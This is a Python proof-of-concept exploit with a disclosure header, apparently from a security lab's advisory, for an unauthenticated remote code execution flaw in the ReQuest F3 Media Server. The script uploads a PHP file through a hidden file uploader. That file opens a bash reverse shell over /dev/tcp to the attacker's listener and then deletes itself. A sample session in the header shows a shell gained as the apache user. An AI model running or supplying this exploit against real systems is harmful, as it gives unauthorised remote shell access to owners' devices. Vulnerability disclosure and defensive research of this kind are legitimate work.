# -*- coding: utf-8 -*-
#
#
# ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution
#
#
# Vendor: ReQuest Serious Play LLC
# Product web page: http://www.request.com
# Affected version: 7.0.3.4968 (Pro)
# 7.0.2.4954
# 6.5.2.4954
# 6.4.2.4681
# 6.3.2.4203
# 2.0.1.823
#
# Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
# into a compact powerhouse. With the ability to add unlimited NAS devices, the
# F3 can handle your entire family's media collection with ease.
#
# Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote
# code execution vulnerability. Abusing the hidden ReQuest Internal Utilities
# page (/tools) from the services provided, an attacker can exploit the Quick
# File Uploader (/tools/upload.html) page and upload PHP executable files that
# results in remote code execution as the web server user.
#
# =============================================================================
# lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161
# Let's see waddup...
# Good to go.
# Starting handler on port 6161.
# Writing callback file...
# We got the dir: /75302IV29ZS1
# Checking write status...
# All is well John Spartan. Calling your listener...
# Connection from 192.168.0.17:42057
# You got shell.
# id;uname -ro
# uid=81(apache) gid=81(apache) groups=81(apache),666(arq)
# 3.2.0-4-686-pae GNU/Linux
# exit
# *** Connection closed by remote host ***
# lqwrm@metalgear:~/prive$
# =============================================================================
#
# Tested on: ReQuest Serious Play® OS v7.0.1
# ReQuest Serious Play® OS v6.0.0
# Debian GNU/Linux 5.0
# Linux 3.2.0-4-686-pae
# Linux 2.6.36-request+lenny.5
# Apache/2.2.22
# Apache/2.2.9
# PHP/5.4.45
# PHP/5.2.6-1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2020-5602
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php
#
#
# 01.08.2020
#
from time import sleep
import threading######
import telnetlib######
import requests#######
import socket#########
import sys############
import re#############
class Manhattan:
def __init__(self):
self.secretagent = "Mushu"
self.payload = None
self.deploy = None
self.rhost = None
self.lhost = None
self.lport = None
def the_args(self):
if len(sys.argv) != 4:
self.the_usage()
else:
self.rhost = sys.argv[1]
self.lhost = sys.argv[2]
self.lport = int(sys.argv[3])
if not "http" in self.rhost:
self.rhost = "http://{}".format(self.rhost)
def the_usage(self):
self.the_wha()
print("Usage: python3 {} [targetIP:targetPORT] [localIP]
[localPORT]".format(sys.argv[0]))
print("Example: python3 {} 192.168.0.91:3664 192.168.0.22
6161\n".format(sys.argv[0]))
exit(0)
def the_wha(self):
titl = "ReQuest Serious Play F3 Media Server RCE"
print(titl)
def the_check(self):
print("Let's see waddup...")
try:
r = requests.get(self.rhost + "/MP3/")
if "000000000000" in r.text:
print("Good to go.")
else:
print("Something's fishy.")
exit(-16)
except Exception as e:
print("Hmmm {msg}".format(msg=e))
exit(-1)
def the_upload(self):
print("Writing callback file...")
self.headers = {"Cache-Control" : "max-age=0",
"Content-Type": "multipart/form-data;
boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP",
"User-Agent": self.secretagent,
"Accept" : "*/*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"}
self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + " <&1;rm bd0.php'\");"
self.deploy =
"------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"########
self.deploy += "Content-Disposition: form-data; name=\"uploa" #
self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T" #
self.deploy += "ype: application/octet-stream\r\n\r\n" +
self.payload
self.deploy +=
"\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte"
self.deploy += "nt-Disposition: form-data;
name=\"location\"\r\n\r\nm"
self.deploy +=
"p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n"
requests.post(self.rhost+"/shared/upload.php",
headers=self.headers, data=self.deploy)
sleep(1)
r = requests.get(self.rhost + "/MP3/")
regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2]
print("We got the dir: /" + regex)
print("Checking write status...")
r = requests.get(self.rhost + "/MP3/" + regex)
if "bd0" in r.text:
print("All is well John Spartan. Calling your listener...")
else:
print("Something...isn't right.")
exit(-16)
requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php")
def the_subp(self):
konac = threading.Thread(name="ZSL", target=self.the_ear)
konac.start()
sleep(1)
self.the_upload()
def the_ear(self):
telnetus = telnetlib.Telnet()
print("Starting handler on port {}.".format(self.lport))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
while True:
try:
s.settimeout(7)
s.listen(1)
conn, addr = s.accept()
print("Connection from {}:{}".format(addr[0], addr[1]))
telnetus.sock = conn
except socket.timeout as p:
print("Hmmm ({msg})".format(msg=p))
s.close()
exit(0)
break
print("You got shell.")
telnetus.interact()
conn.close()
def main(self):
self.the_args()
self.the_check()
self.the_subp()
if __name__ == '__main__':
Manhattan().main()
